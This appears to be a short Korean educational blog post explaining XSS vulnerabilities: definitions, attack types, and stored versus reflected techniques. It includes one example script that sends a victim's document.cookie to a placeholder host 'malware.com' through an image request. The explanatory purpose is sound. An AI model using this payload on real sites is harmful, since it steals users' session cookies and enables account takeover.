찬란하게

[웹해킹][용어] XSS 취약점 본문

정보보안/웹 해킹

[웹해킹][용어] XSS 취약점

체리핫 2021. 5. 8. 17:18

1. XSS 취약점이란?

 

클라이언트 스크립트를 이용해 사용자에게 특정 행위를 하게 해서 악의적인 목적으로 이용하는 것

 

정보보안개론_양대일_한빛아카데미

 

2021.05.07 - [정보 보안/웹 해킹] - [웹해킹] OWASP TOP 10_웹 취약점

 

[웹해킹] OWASP TOP 10_웹 취약점

1. OWASP OWASP(The Open Web Application Security Project)는 오픈소스 웹 애플리케이션 보안 프로젝트이다. 주로 웹에 관한 정보 노출, 악성 파일 및 스크립트, 보안 취약점 등을 연구하며, 10대 웹 애플리케이.

s2cherryy.tistory.com

2017년 Top7, 2013 Top3에 오른 취약점이다! 

2. 공격 유형

 

1) 악성코드 배포

악의적인 스크립트 삽입

 

2) 다른 사용자의 권한 획득

악의적인 스크립트 삽입

예 : <script>document.write('<img src="http://malware.com/' +document.cookie+'">');</script>

쿠키값 삽입

 

* 쿠키 : 사용자의 인증이 저장된 data

 

서버는 세션(인증 정보 저장)을 저장

세션 정보 + 각종 정보 ==> 쿠키값으로 저장

 

 

3) 피싱 사이트 유도

 

3. 공격 기법

1) Stored XSS 취약점 공격 :

게시물, 쪽지 보내기, 주문 페이지 입력 부분에 악의적인 스크립트가 DB에 저장되어 실행되는 공격

 

2) Refleced XSS : 

DB 저장이 되지 않는다.

파라미터 값의 입력 값 미흡으로 상대방에게 링크를 쪽지로 보내거나, 게시물에 링크를 클릭하게 유도하여 악성코드 배포